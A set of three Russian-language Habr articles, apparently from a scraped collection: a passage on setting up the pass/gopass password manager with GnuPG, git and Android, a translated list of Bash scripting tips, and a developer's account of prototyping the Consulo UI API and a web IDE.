Технически pass является очень простой обвязкой над GnuPG и git, написанной на bash. Каждый пароль (и сопутствующая ему информация, например логин) хранится в зашифрованном файле. Поиск нужного пароля осуществляется по имени файла, шифрование — при помощи GnuPG, синхронизация между устройствами — при помощи git.
Кроме оригинального pass есть еще два совместимых с ним популярных проекта, работающих и под Windows:
1. [QtPass](https://github.com/IJHack/QtPass). GUI-приложение, написанное, как нетрудно догадаться, на Qt.
2. [Gopass](https://github.com/gopasspw/gopass). Приложение для командной строки, написанное на go. Под Windows я пользуюсь именно им. Однако, на мой взгляд, разработчики начали добавлять туда слишком много лишних фич, при этом отказываясь от интуитивности.
> Разработчик pass — Джейсон Доненфельд, также являющийся автором WireGuard (реализации VPN на основе современных стандартов криптографии, "work of art по сравнению с OpenVPN и IPSec" по мнению Линуса Торвальдса, которая [скорее всего](http://lkml.iu.edu/hypermail/linux/kernel/1911.3/04056.html) появится в ядре Linux 5.6).
Создание секретного ключа
=========================
GnuPG — система для шифрования и электронных подписей. Несмотря на недостатки (вот, например, [статья](https://habr.com/ru/post/460827/) с критикой gpg), она уже больше 20 лет остается де-факто стандартом. Даже статья по ссылке затрудняется назвать альтернативный инструмент для шифрования файлов.
Процесс создания секретного ключа в консоли описан например [на habr](https://habr.com/ru/post/358182/), но почему бы не сделать это в GUI? В проекте KDE сделали фронтенд для GPG под названием [Kleopatra](https://kde.org/applications/utilities/org.kde.kleopatra). Пользователи Linux найдут его в репозиториях, а в gpg4win Kleopatra есть из коробки.
В меню выбираем `File` — `New Key Pair` — `Create a personal OpenPGP key pair`.
Вводим имя и email. Не нужно беспокоиться, что в будущем вы их смените. GPG позволяет свободно добавлять к ключу новые uid и удалять существующие. Если хотите подписывать создаваемым ключом свои git-коммиты и видеть плашки "Verified" напротив них, то тут нужно указать реальный email, имеющий статус "подтвержденный" в вашем аккаунте на github.
Далее нажимаем `Advanced Settings` для настройки параметров ключа.
![](https://habrastorage.org/r/w1560/webt/73/_t/sf/73_tsfmk36_soxx0wybhhpmmlpa.png)
В разделе `Key Material` выбираем `ECDSA/EdDSA` + `ECDH`. Я предпочитаю использовать не классический алгоритм RSA, а основанные на эллиптических кривых ed25519/cv25519. Их основное преимущество над RSA с точки зрения конечного пользователя — меньший размер ключа при аналогичной криптостойкости. Утверждается, что ключ ed25519 длиной 256 бит примерно такой же стойкий, как ключ RSA длиной 3072 бита. Единственное преимущество последнего — большая распространенность, особенно в аппаратных системах.
В меню еще можно выбрать семейства кривых Brainpool и NIST. Однако вторые подозреваются в наличии бэкдора NSA, и к первым тоже есть небольшие претензии. Поэтому предложенные известным криптографом Даниэлем Бернштейном ed25519 и cv25519 — лучший выбор.
> Интересный факт: в активно продвигаемом сейчас стандарте аутентификации FIDO U2F (в разработке которого активно участвовала компания Google) применяются именно кривые NIST. Также, например, в Android Keystore есть их поддержка, но нет поддержки ed25519. Почему так произошло?
В результате будет создано 2 подключа на эллиптических кривых. Один для подписей, другой для шифрования, что нам и нужно. GPG не позволяет использовать один подключ и для того, и для другого, несмотря на то что алгоритмически это возможно (соответствующие функции есть, например, в библиотеке `libsodium`).
Если планируете использовать этот ключ для работы с git, то в разделе `Certificate Usage` нужно отметить пункты `Signing` и `Authentication`.
На следующем шаге предлагается придумать пароль, с помощью которого будет защищен ключ. Поскольку ключ будет использоваться для шифрования всех данных в хранилище, этот пароль является мастер-паролем. Стоит подойти к его выбору с особой педантичностью.
Генерация мастер-пароля
-----------------------
Разумеется, всегда можно сгенерировать случайную строку из достаточного (например 20) количества символов. Однако её практически невозможно запомнить и трудно ввести без ошибок, особенно на смартфоне. Поэтому EFF в своем [гайде](https://ssd.eff.org/en/module/creating-strong-passwords) рекомендует вместо этого пользоваться парольными фразами.
Метод работает так: берем достаточно большой словарь (EFF предлагает несколько словарей, например [этот](https://www.eff.org/files/2016/07/18/eff_large_wordlist.txt)) и выбираем из него не менее 6 случайных слов. Выбирать можно как угодно, даже вообще без компьютера при помощи игральной кости или монетки. Такой метод называется [diceware](http://world.std.com/~reinhold/diceware.html). До игральных костей и монеток я еще не дошел, поэтому просто воспользуюсь входящей в состав GNU coreutils утилитой `shuf`:
```
$ shuf --random-source=/dev/random -n 6 ./eff_large_wordlist.txt
51345 rendering
24564 edging
65652 vivacious
31343 footprint
55261 snore
24436 earache
```
Сохраняем эту парольную фразу в надежном месте за пределами компьютера.
В результате будет создан секретный ключ. При работе в консоли часто придётся указывать его fingerprint, стоит записать это число.
Теперь можно настроить интеграцию gpg и git.
Интеграция gpg, git и github
============================
> Строго говоря, этот пункт не обязателен. Хранилище паролей pass — это просто каталог с зашифрованными файлами, а значит, его можно синхронизировать как угодно. Google Drive, Яндекс.Диск, и т.д. и т.п. Если не хотите использовать git, то советую обратить внимание на [Syncthing](https://github.com/syncthing/syncthing). Это программа с открытым исходным кодом, которая требует минимум настроек и передаёт файлы напрямую между устройствами, не храня их на сторонних серверах.
В качестве git-хостинга никто не мешает поднять свой собственный сервер, поставив туда например [Gitea](https://github.com/go-gitea/gitea), однако это означает затраты на его поддержку и не обязательно гарантирует большие безопасность и надежность. Поэтому я, не гнушаясь пользоваться продуктами фирмы Microsoft, просто создал приватный репозиторий на github.
Стандартный механизм аутентификации в git — с помощью SSH. Обычно подразумевается, что для этого нужен специальный ключ ssh. Однако есть возможность, не плодя лишние сущности, использовать созданный на предыдущем шаге ключ gpg. Чтобы gpg-ключ (точнее, подключ) мог использоваться ssh, должны быть выполнены два условия:
1. у него должен быть установлен флаг `A` — Authenticate;
2. его keygrip должен быть прописан в файле `~/.gnupg/sshcontrol`.
Первый пункт уже выполнен, а получить keygrip можно командой
```
gpg --list-secret-keys --with-keygrip 0609C9DFEF1AA2B38DEDBADCC0544B5554068AC7
```
В выводе gpg нас интересует keygrip подключа ed25519 (`05B6641E23D720E87EE6A26020BAB214B842F2B7`).
Теперь можно загрузить публичный ключ на github. Заходим в раздел `SSH and GPG keys` в [профиле](https://github.com/settings/keys) и выбираем `New SSH key`. В консоли набираем
```
$ gpg --export-ssh-key 0609C9DFEF1AA2B38DEDBADCC0544B5554068AC7
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPfj81nennAoujvw1fLzGx9iED34zk5oDMYKuUcBq5wv openpgp:0x54068AC7
```
и копируем получившийся публичный ssh-ключ.
Git может подписывать коммиты с помощью gpg, и github это поддерживает. Думаю, это полезная для безопасности фича. Экспортируем публичный ключ gpg командой
```
$ gpg --export --armor 0609C9DFEF1AA2B38DEDBADCC0544B5554068AC7
-----BEGIN PGP PUBLIC KEY BLOCK-----
mDMEXcrHrBYJKwYBBAHaRw8BAQdA9+PzWd6ecCi6O/DV8vMbH2IQPfjOTmgMxgq5
RwGrnC+0G0hlbGxvIEhhYnIgPGZha2VAZW1haWwuY29tPoiQBBMWCAA4BQsJCAcC
BhUKCQgLAgQWAgMBAh4BAheAFiEEBgnJ3+8aorON7brcwFRLVVQGiscFAl3WO2wC
GyMACgkQwFRLVVQGiscg5AEAkh0a6OQS2CPiXq9bWB+wULHUGT6NYZhwZ3eUQCfH
Zq0A/iFBJQkAZIFdqH84ksFbvv6K/LQy72NRJzK0tho6qFwHuDgEXcrHrBIKKwYB
BAGXVQEFAQEHQEs6UVOtj5yMGxvRcMU577miH/Bh5kZWMJKHxsDBcXV4AwEIB4h4
BBgWCAAgFiEEBgnJ3+8aorON7brcwFRLVVQGiscFAl3Kx6wCGwwACgkQwFRLVVQG
isea8wD/X5JSJW0PMu/KucytUZZo8obHa86/TUwH/8+xQ3+djuEBALugbQRmCIr5
/JYO7x5PNA0QYqhh7LIZ9nKYp0mhqpcO
=dc89
-----END PGP PUBLIC KEY BLOCK-----
```
и копируем то, что получилось, в форму `New GPG key`.
Дальнейшие действия специфичны для используемой операционной системы.
Интеграция gpg и git (linux)
----------------------------
Используемый git клиент OpenSSH может получать ключи двумя способами: из каталога `~/.ssh` и через сокет, созданный демоном `ssh-agent`. В качестве последнего может выступать `gpg-agent`, чем мы и воспользуемся. В файле `~/.gnupg/gpg-agent.conf` нужно прописать строку `enable-ssh-support`.
Перезапускаем gpg-agent командой
```
gpg-connect-agent reloadagent /bye
```
После этого он создаст сокет по адресу
```
${XDG_RUNTIME_DIR}/gnupg/S.gpg-agent.ssh
```
Этот путь (он может зависеть от дистрибутива) надо прописать в переменной окружения `$SSH_AUTH_SOCK`, и ssh его подхватит. Набираем в консоли команду
```
ssh -T git@github.com
```
и если все прошло успешно, то после ввода мастер-пароля появится сообщение об успешной аутентификации.
Интеграция gpg и git (Windows)
------------------------------
Относительно недавно Microsoft добавила OpenSSH в число доступных для установки компонентов Windows, а также реализовала поддержку сокетов типа `AF_UNIX`, таких как тот самый `SSH_AUTH_SOCK`. Тем не менее, Win32-OpenSSH не умеет взаимодействовать с gpg4win, так как до сих пор использует только именованные каналы.
Поэтому придётся установить вечнозелёный Putty. Прописываем в файле
```
~/AppData/Roaming/gnupg/gpg-agent.conf
```
строку `enable-putty-support` и перезапускаем gpg-agent. После этого он начнет прикидываться Pageant — демоном ключей. В той же папке должен быть расположен и файл `sshcontrol`.
Чтобы git-клиент начал использовать putty, нужно создать переменную окружения `GIT_SSH` с путем до `plink.exe`. Например, у меня это
```
C:\ProgramData\chocolatey\bin\PLINK.EXE
```
> Кстати насчет git. Обычно устанавливающийся клиент `git for windows` содержит много ненужного (по крайней мере, ненужного для работы gopass), например собственную реализацию OpenSSH. Однако его разработчики делают и более легкие версии, которые можно скачать [на github](https://github.com/git-for-windows/git/releases). Например, там есть в 2 раза меньший по размеру MinGit, а рисковые люди могут попробовать и MinGit-busybox. Версия busybox возникла из-за стремления разработчиков создать git-клиент, использующий api Win32 без прослоек вроде MSYS2. Однако, по их же отзывам, mingit-busybox пока содержит много багов. Подробнее об этих усилиях можно почитать в [тикете](https://github.com/git-for-windows/git/issues/1439).
Убеждаемся, что gpg-agent запущен (`gpg-connect-agent /bye`), и проверяем соединение с github:
```
plink git@github.com
```
Настройка git
-------------
Здесь ничего необычного. Думаю, команды можно привести без комментариев:
```
git config --global user.name "Hello Habr"
git config --global user.email fake@email.com
git config --global user.signingKey 0609C9DFEF1AA2B38DEDBADCC0544B5554068AC7
git config --global gpg.program /usr/bin/gpg
git config --global commit.gpgSign true
```
Пункт `gpg.program` нужен, если gpg нет в `PATH`.
Бэкап секретного ключа
======================
Секретный ключ стоит хранить так же надежно, как и парольную фразу, то есть за пределами компьютера. Можно просто распечатать длинную последовательность чисел, но распознавать её или вводить с клавиатуры — занятие не для слабонервных. Поэтому я предпочитаю генерировать QR-код, который легко отсканировать любым смартфоном. Для этого есть специальная программа `qrencode`. Генерация картинки с QR-кодом выполняется так:
```
gpg --export-secret-key 0609C9DFEF1AA2B38DEDBADCC0544B5554068AC7 | qrencode --8bit --output secret-key.qr.png
```
Разумеется, чем меньше ненужной информации в бэкапе, тем лучше. Здесь очень кстати приходится небольшой размер ключа ed25519. Спасибо Даниэлю Бернштейну!
Существует специальная утилита [paperkey](http://www.jabberwocky.com/software/paperkey/), позволяющая сократить объем данных до предела. Ценой сокращения является то, что секретный ключ из такого бэкапа можно будет восстановить только при наличии публичного. В экосистеме GPG есть специальные сервера для хранения публичных ключей, почитать про них и не только можно в статье <https://eax.me/gpg/>.
Бэкап paperkey создается следующим образом:
```
gpg --export-key 0609C9DFEF1AA2B38DEDBADCC0544B5554068AC7 > pubkey.asc
gpg --export-secret-key 0609C9DFEF1AA2B38DEDBADCC0544B5554068AC7 | paperkey --output-type raw | qrencode --8bit --output secret-key.qr.png
```
Второе правило бэкапера: бэкап не существует, пока не подтверждена возможность восстановить из него данные. Поэтому проводим стресс-тест. Удаляем секретный ключ командой
```
gpg --delete-secret-key 0609C9DFEF1AA2B38DEDBADCC0544B5554068AC7
```
Затем сканируем QR-код и импортируем ключ обратно в GPG. В качестве сканера QR-кодов под Android мне нравится [BinaryEye](https://github.com/markusfisch/BinaryEye), свободная программа с удобным интерфейсом. На картинке ниже — бэкап секретного ключа из этой статьи.
![](https://habrastorage.org/r/w1560/webt/ej/xv/un/ejxvunen3dhkjbktvla6clwajjm.png)
```
paperkey --pubring pubkey.asc --secrets from_qr.asc > secretkey.asc
gpg --import ./secretkey.asc
```
Надеюсь, вы нигде не будете использовать этот ключ. Он создан только для иллюстрации.
Если все работает, то можно двигаться дальше.
Использование (go)pass
======================
Теперь, когда у нас есть надежно сохраненный и защищенный секретный ключ, а также работающая интеграция с git, можно начинать пользоваться собственно pass. Я предпочитаю gopass, так как эта альтернативная обвязка работает под Windows.
Инициализируем хранилище паролей командой
```
gopass init
```
и выбираем из списка нужный секретный ключ.
Работа с git происходит так же, как в случае с обычным репозиторием, только в командной строке надо дописывать `(go)pass`. Инициализируем репозиторий и добавляем туда нужный origin:
```
gopass git init
gopass git remote add origin git@github.com:xxx/taisho-secrets.git
```
Адрес можно узнать на странице репозитория на github, нажав кнопку `Clone or download`.
В gopass есть специфичная команда
```
gopass sync
```
выполняющая и `git pull`, и `git push`, то есть полную синхронизацию.
Хранилище по умолчанию создается в папке `~/.password-store`, но можно указать и свой путь.
Для работы с паролями в консоли поддерживаются команды ls, cp, mv, search, create, и т.п. Полный список можно получить, набрав `gopass --help`, но лично я 95% времени пользуюсь не консолью, а плагином для браузера.
Интеграция с браузером
----------------------
Плагин для браузера называется [gopass bridge](https://github.com/gopasspw/gopassbridge), его можно найти в сторах Chrome и Firefox (см. ссылку).
Для связи плагина с собственно gopass понадобятся вспомогательный скрипт и манифест для native messaging. Они создаются командой
```
gopass jsonapi configure
```
которая предложит нам выбрать браузер и расположение скрипта.
Проверяем, как все работает. Создаем новый пароль:
```
gopass new habr
```
отвечаем на все вопросы и сохраняем. GPG предложит ввести мастер-пароль для работы с секретным ключoм.
Теперь открываем меню плагина с характерным голубым сусликом, и если все прошло успешно, то мы сможем найти там свой пароль.
TOTP-ключи
----------
Лично я пользуюсь [FreeOTP](https://freeotp.github.io/), однако с этими ключами можно работать и с помощью pass. Пользователям оригинального pass надо установить расширение [pass-otp](https://github.com/tadfisher/pass-otp), а в gopass и APS (см. ниже) нужные функции есть из коробки.
Чтобы добавить TOTP-ключ в хранилище паролей при помощи pass-otp, получаем URL (начинающийся с `otpauth://`) и вводим команду
```
pass otp insert totp-secret
```
Можно ли будет назвать двухфакторной получившуюся аутентификацию — спорный вопрос. Разработчики KeePassXC рекомендуют хранить TOTP-ключи в отдельной базе данных, защищенной другим паролем. В pass так тоже можно сделать.
Интеграция с Android
====================
Реализация GnuPG под Android называется [OpenKeychain](https://github.com/open-keychain/open-keychain). Для её настройки достаточно зайти в меню "управление ключами" и импортировать ранее созданный секретный ключ. Единственный недостаток OpenKeychain лично для меня — нет разблокировки по отпечатку пальца.
Реализация pass под Android называется [android-password-store](https://github.com/android-password-store/Android-Password-Store), или просто APS.
Устанавливаем и запускаем APS. Прежде чем синхронизировать хранилище паролей, заходим в меню "Настройки". Там нам понадобятся следующие пункты:
1. `Настройки сервера git`. Получившийся URL должен быть таким же, какой указан на странице репозитория на github. Тип авторизации — `OpenKeychain`.
2. `Git utils`. В этом разделе указываем username и email из ключа gpg.
3. `Провайдер OpenPGP`. Выбираем `OpenKeychain`.
4. `Автозаполнение`. Эта совсем недавно появившаяся фича включает заполнение паролей в приложениях на Android 8.0+.
> На заметку пользователям смартфонов Huawei, да и всем остальным тоже: OpenKeychain, APS, BinaryEye, FreeOTP, а также Syncthing, Telegram, Tachiyomi, KDE Connect и много чего еще доступны в [F-Droid](https://f-droid.org/). Пользователи Google Play должны это оценить: каталог ПО, в котором нет рекламы, руткитов, и просто мусорного софта из [известной статьи tonsky](https://habr.com/ru/post/423889/).
>
>
>
> До появления автозаполнения в APS я пользовался [keepass2android](https://github.com/PhilippC/keepass2android). Её нет в F-Droid по оригинальной причине: она написана на Xamarin, но мейнтейнеры F-Droid [вот уже 9 месяцев как](https://gitlab.com/fdroid/fdroiddata/issues/1529) не могут установить этот фреймворк на свой сборочный сервер. Кто-нибудь, сделайте что-нибудь.
Теперь можно клонировать. Выбираем на главном экране "клонировать с сервера", указываем желаемое расположение хранилища, проверяем настройки git.
Если попытка работы с git приведет к ошибке (это было вероятно в предыдущих релизах APS из-за использования устаревшей версии библиотеки `jgit` от проекта Eclipse), то по-прежнему есть Syncthing.
Заключение
==========
Конечно, pass не так просто настроить. Однако за эту цену покупается уверенность, что используемые нами (а также людьми вроде Линуса Торвальдса или Эдварда Сноудена) инструменты в один прекрасный момент не будут объявлены устаревшими, не сменят формат данных и не окажутся без поддержки. А если и окажутся, то простая модульная архитектура pass поощряет создание каких угодно альтернативных клиентов и расширений.
Если вы решите не использовать pass, то, надеюсь, некоторые упомянутые в статье программы окажутся вам полезными и сами по себе. | https://habr.com/ru/post/479540/ | null | ru | null |
# Интересные приемы программирования на Bash
Эти приемы были описаны во внутреннем проекте компании Google «Testing on the Toilet» (Тестируем в туалете — распространение листовок в туалетах, что бы напоминать разработчикам о тестах).
В данной статье они были пересмотрены и дополнены.
##### Безопасность
Я начинаю каждый скрипт со следующих строк
```
#!/bin/bash
set -o nounset
set -o errexit
```
Это защищает от двух частых ошибок
1) Попыток использовать не объявленные переменные
2) Игнорирование аварийного завершения команд
Если команда может завершиться аварийно, и нас это устраивает, можно использовать следующий код:
```
if ! ; then
echo "failure ignored"
fi
```
Нужно помнить что некоторые команды не возвращают код аварийного завершения например “mkdir -p” и “rm -f”.
Так же есть сложности с вызовом цепочек подпрограмм (command1 | command 2 | command3) из скрипта, для обхода этого ограничения можно использовать следующую конструкцию:
```
(./failing_command && echo A)
```
В этом случае оператор '&&' не позволит выполниться следующей команде, подробнее — 'http://fvue.nl/wiki/Bash:\_Error\_handling'
##### Функции
Bash позволяет использовать функции как обычные команды, это очень сильно повышает читаемость вашего кода:
Пример 1:
```
ExtractBashComments() {
egrep "^#"
}
cat myscript.sh | ExtractBashComments | wc
```
```
comments=$(ExtractBashComments < myscript.sh)
```
Пример 2:
```
SumLines() { # iterating over stdin - similar to awk
local sum=0
local line=””
while read line ; do
sum=$((${sum} + ${line}))
done
echo ${sum}
}
SumLines < data_one_number_per_line.txt
```
Пример 3:
```
log() { # classic logger
local prefix="[$(date +%Y/%m/%d\ %H:%M:%S)]: "
echo "${prefix} $@" >&2
}
log "INFO" "a message"
```
Попробуйте перенести весь ваш код в функции оставив только глобальные переменные/константы и вызов функции «main» в которой будет вся высокоуровневая логика.
##### Объявление переменных
Bash позволяет объявлять переменные нескольких типов, самые важные:
**local** (Для переменных используемых только внутри функций)
**readonly** (Переменные попытка переназначения которых вызывает ошибку)
```
## Если DEFAULT_VAL уже объявлена, то использовать ее значение, иначе использовать '-7'
readonly DEFAULT_VAL=${DEFAULT_VAL:-7}
myfunc() {
# Использование локальной переменной со значением глобальной
local some_var=${DEFAULT_VAL}
...
}
```
Есть возможность сделать переменную типа readonly из уже объявленной:
```
x=5
x=6
readonly x
x=7 # failure
```
Стремитесь к тому что бы все ваши переменные были либо local, либо readonly, это улучшит читаемость и снизит количество ошибок.
##### Используйте $() вместо обратных кавычек ``
Обратные кавычки плохо читаются и в некоторых шрифтах легко могут быть перепутаны с одинарными кавычками.
Конструкция $() так же позволяет использовать вложенные вызовы без головной боли с экранированием:
```
# обе команды выводят: A-B-C-D
echo "A-`echo B-\`echo C-\\\`echo D\\\`\``"
echo "A-$(echo B-$(echo C-$(echo D)))"
```
##### Используйте двойные квадратные скобки [[]] вместо одинарных []
Двойные квадратные скобки позволяют избежать непреднамеренного использования путей вместо переменных:
```
$ [ a < b ]
-bash: b: No such file or directory
$ [[ a < b ]]
```
В некоторых случаях упрощают синтаксис:
```
[ "${name}" \> "a" -o ${name} \< "m" ]
[[ "${name}" > "a" && "${name}" < "m" ]]
```
А так же предоставляют дополнительную функциональность:
Новые операторы:
* **||** Логическое ИЛИ (logical or) — только с двойными скобками.
* **&&** Логическое И (logical and) — только с двойными скобками.
* **<** Сравнение строковых переменных (string comparison) — с двойными скобками экранирование не нужно.
* **==** Сравнение строковых переменных с подстановкой (string matching with globbing) — только с двойными скобками.
* **=~** Сравнение строковых переменных используя регулярные выражения (string matching with regular expressions) — только с двойными скобками.
Дополненные/измененные операторы:
* **-lt** Цифровое сравнение (numerical comparison)
* **-n** Строковая переменная не пуста (string is non-empty)
* **-z** Строковая переменная пуста (string is empty)
* **-eq** Цифровое равенство (numerical equality)
* **-ne** Цифровое не равенство (numerical inequality)
Примеры:
```
t="abc123"
[[ "$t" == abc* ]] # true (globbing)
[[ "$t" == "abc*" ]] # false (literal matching)
[[ "$t" =~ [abc]+[123]+ ]] # true (regular expression)
[[ "$t" =~ "abc*" ]] # false (literal matching)
```
Начиная с версии bash 3.2 регулярные выражения или выражения с подстановкой не должны заключаться в кавычки, если ваше выражение содержит пробелы, вы можете поместить его в пеерменную:
```
r="a b+"
[[ "a bbb" =~ $r ]] # true
```
Сравнене строковых переменных с подстановкой так же доступно в операторе case:
```
case $t in
abc*) ;;
esac
```
##### Работа со строковыми переменными:
В bash встроено несколько (недооцененных) возможностей работы со строковыми переменными:
Базовые:
```
f="path1/path2/file.ext"
len="${#f}" # = 20 (длина строковой переменной)
# выделение участка из переменной: ${<переменная>:<начало_участка>} или ${<переменная>:<начало_участка>:<размер_участка>}
slice1="${f:6}" # = "path2/file.ext"
slice2="${f:6:5}" # = "path2"
slice3="${f: -8}" # = "file.ext" (обратите внимание на пробел перед знаком '-')
pos=6
len=5
slice4="${f:${pos}:${len}}" # = "path2"
```
Замена с подстановкой:
```
f="path1/path2/file.ext"
single_subst="${f/path?/x}" # = "x/path2/file.ext" (змена первого совпадения)
global_subst="${f//path?/x}" # = "x/x/file.ext" (замена всех совпадений)
```
Разделение переменных:
```
f="path1/path2/file.ext"
readonly DIR_SEP="/"
array=(${f//${DIR_SEP}/ })
second_dir="${array[1]}" # = path2
```
Удаление с подстановкой:
# Удаление с начала строки, до первого совпадения
```
f="path1/path2/file.ext"
extension="${f#*.}" # = "ext"
```
# Удаление с начала строки, до последнего совпадения
```
f="path1/path2/file.ext"
filename="${f##*/}" # = "file.ext"
```
# Удаление с конца строки, до первого совпадения
```
f="path1/path2/file.ext"
dirname="${f%/*}" # = "path1/path2"
```
# Удаление с конца строки, до последнего совпадения
```
f="path1/path2/file.ext"
root="${f%%/*}" # = "path1"
```
##### Избавляемся от временных файлов
Некоторые команды ожидают на вход имя файла, с ними нам поможет оператор '<()', он принимает на вход команду и преобразует в нечто что можно использовать как имя файла:
# скачать два URLa и передать их в diff
```
diff <(wget -O - url1) <(wget -O - url2)
```
Использование маркера для передачи многострочных переменных:
# MARKER — любое слово.
```
command << MARKER
...
${var}
$(cmd)
...
MARKER
```
Если нужно избежать подстановки, то маркер можно взять в кавычки:
# конструкция вернет '$var' а не значение переменной
```
var="text"
cat << 'MARKER'
...
$var
...
MARKER
```
##### Встроенные переменные
* $0 Имя скрипта (name of the script)
* $1 $2… $n Параметры переданные скрипту/фнукции (positional parameters to script/function)
* $$ PID скрипта (PID of the script)
* $! PID последней команды выполненной в фоне(PID of the last command executed (and run in the background))
* $? Статус возвращенный последней командой (exit status of the last command (${PIPESTATUS} for pipelined commands))
* $# Количество параметров переданных скрипту/функции (number of parameters to script/function)
* $@ Все параметры переданные скрипту/функции, представленные в виде слов (sees arguments as separate word)
* $\* Все параметры переданные скрипту/функции, представленные в виде одного слова (sees arguments as single word)
* Как правило:
* $\* Редко является полезной
* $@ Корректно обрабатывает пустые параметры и параметры с пробелами
* $@ При использовании обычно заключается в двойные кавычки — "$@"
Пример:
```
for i in "$@"; do echo '$@ param:' $i; done
for i in "$*"; do echo '$! param:' $i; done
```
вывод:
```
bash ./parameters.sh arg1 arg2
$@ param: arg1
$@ param: arg2
$! param: arg1 arg2
```
##### Отладка
Проверка синтаксиса (экономит время если скрипт выполняется дольше 15 секунд):
```
bash -n myscript.sh
```
Трассировка:
```
bash -v myscripts.sh
```
Трассировка с раскрытием сложных команд:
```
bash -x myscript.sh
```
Параметры -v и -x можно задать в коде, это может быть полезно если ваш скрипт работает на одной машине а журналирование ведется на другой:
```
set -o verbose
set -o xtrace
```
###### Признаки того, что вы не должны использовать shell скрипты:
* Ваш скрипт содержит более нескольких сотен строк.
* Вам нужны структуры данных сложнее обычных массивов.
* Вас задолбало заниматься непотребствами с кавычками и экранированием.
* Вам необходимо обрабатывать/изменять много строковых переменных.
* У вас нет необходимости вызывать сторонние програмы и нет необходимости в пайпах.
* Для вас важна скорость/производительность.
Если ваш проект соответствует пунктам из этого списка, рассмотрите для него языки языки Python или Ruby.
Ссылки:
Advanced Bash-Scripting Guide: [tldp.org/LDP/abs/html](http://tldp.org/LDP/abs/html/)
Bash Reference Manual: [www.gnu.org/software/bash/manual/bashref.html](http://www.gnu.org/software/bash/manual/bashref.html)
Оригинал статьи: [robertmuth.blogspot.ru/2012/08/better-bash-scripting-in-15-minutes.html](http://robertmuth.blogspot.ru/2012/08/better-bash-scripting-in-15-minutes.html) | https://habr.com/ru/post/221273/ | null | ru | null |
# Consulo UI API от идеи до прототипа
Всем привет, давно я не писал статьи о жизни проекта на хабре, решил исправиться и начну пожалуй с того над чем сейчас работаю а именно Consulo UI API.
> [Consulo](https://consulo.io) — это форк IntelliJ IDEA Community Edition, который имеет поддержку .NET(C#), Java
### Начнем
**Q:** Consulo UI API — что это такое?
**A:** Это набор API для создания UI. На деле — простой набор интерфейсов, который повторяет разные компоненты — Button, RadionButton, Label, etc.
**Q:** Какова цель создания, еще одного набора UI API, если уже был Swing (так как IDEA UI использует Swing для отображения интерфейса)
**A:** Для этого давайте углубимся в идею которую я последовал работая над Consulo UI API. Так как я основной и практически единственный контрибьютор в проект Consulo, со временем мне стало трудно поддерживать то количество проектов которое сейчас (порядка **156** репозиториев). Встал вопрос о массовом анализе кода, но это нереально сделать в рамках одного инстанса IDE на **Desktop** платформе, а использовать опыт JetBrains где один проект **idea-ultimate** держит все плагины я не хотел практиковать по ряду причин.
Зародилась мысль об анализе на веб-сервере. "Обычный анализ" меня не сильно устраивал на веб-сервере, захотелось сделать **Web IDE** (хотя бы readonly на старте) — при этом иметь полностью весь тот же функционал что и на Desktop.
Вы можете сказать что это повторяет немного **Upsource**, сама идея подобная — но подход совсем другой.
И вот пришел тот момент — когда идея была, но не было известно как это сделать. За плечами был опыт использования GWT, Vaadin фреймворков — другие не Java фреймворки для генерации JS(ну или plain js) я не хотел использовать.
Я уделил себе месяц на это [исследования](https://github.com/consulo/consulo/pull/190). Это был тест моих возможностей в этой части. Сначала я использовал только GWT — для получения информации я использовал встроенный RPC.
Была простая цель — проект открыт уже, нужно было только отобразить **Project Tree** + **Editor Tabs**. При этом все должно было похожим на Desktop версию.
Сразу появились проблемы с новоиспеченным бэкэндом. Например использования EventQueue для внутренних действий
> EventQueue если коротко это UI(AWT, Swing) поток в нем происходит почти все что связано с UI — отрисовка, обработка нажатия на кнопку и так далее.
>
> Исторически сложилось в IDEA то что write действия должны всегда выполняться в UI потоке.
>
> Write действие — это запись в файл, либо изменения какого то сервиса (например переименования модуля)
Поначалу проблему с EventQueue можно было игнорировать — но потом появились другие проблемы. Например банальные **иконки**. Представим у нас есть дерево проекта
* [ ] project-name
+ [ ] src
- [ ] Main.java
+ [ ] test
+ [ ] build.gradle
И для каждого файла нам нужно загрузить и показать картинку. Так как мы работаем внутри Swing кода — мы используем класс **javax.swing.Icon**. Проблема в том что это просто интерфейс — который имеет очень много разных реализаций
* image icon это иконка которая просто оборачивает Image(то есть обычную картинку с файловой системы)
* layred icon слоеная иконка которая состоит из двух или более иконок наложенных друг на друга
* disabled icon — иконка с наложенным серым фильтром
* transparent icon — иконка с заданной прозрачностью
* и много других
В итоге чтобы показать иконку в браузере нужно поддерживать весь зоопарк(и почти все сразу).Одна из сопуствующих проблем состоит в том, что может прийти совсем неизвестная тебе иконка для файла (например внутри какого то плагина отрисован попиксельно какой то символ) — и такое нужно игнорировать.
Методом **костыля** (ну куда же без них) — было сделано решение. Банально проверять через **instanceof** на нужный нам тип — а все другие игнорировать.
Спустя время была сделана поддержка навигации по файловой системе, открытия файла, подсветка синтаксиса, семантический анализ, quick doc info, навигация по code references(поддерживалась комбинация например Ctrl + B, или Ctrl + MouseClick1). По сути Editor был очень похож на Desktop платформу.
Как это выглядило:
![](https://habrastorage.org/r/w1560/webt/x4/mr/31/x4mr31gex_lj3k1jcjoqrzo6xeu.png)
Итак — сделать Web интерфейс было возможно моими силами. Но это была очень грубая работа — которую нужно было переделать. И тут пришёл на помощь Vaadin.
Я решил переделать мою GWT реализацию на использования Vaadin фреймворка. Этот тест получился очень плохим (очень сильно деградировал перфоманс) — тут больше сказался мой опыт использования Vaadin, и я забраковал этот вариант(я даже сделал hard-reset на текущем бранче, чтобы забыть об этом :D).
Но опыт использования Vaadin мне всеодно пригодился, зародилась мысль — унифицировать UI чтобы можно было писать один код, но на выходе получать различный результат в зависимости от платформы.
Еще одна причина унифицировать UI — это полный зоопарк Swing компонентов внутри IntelliJ платформы. Пример такой проблемы — это две совсем разных реализации **Tabs**
![](https://habrastorage.org/r/w1560/webt/gp/fr/gt/gpfrgtuxuokw4ys9zy995caqgng.png)
![](https://habrastorage.org/r/w1560/webt/i1/c6/0w/i1c60wdsldtk5pi1dakzszqis3e.png)
Разделяем UI логику:
* frontend — набор интерфейсов для каждого элемента, например consulo.ui.Button#create()
* backend — реализация в зависимости от платформы
+ Swing — desktop реализация
+ WGWT — web реализация
Что такое **WGWT**? Сокращения от Wrapper GWT. Это самописный фреймворк — который хранил STATE компонента и отправлял его через WebSocket браузеру(который в свою очередь генерировал html). Он писался с оглядкой на Vaadin (да да — еще один костыль).
Время шло — и уже я мог запустить тестовый UI, который работал одинаково на Desktop и в браузере
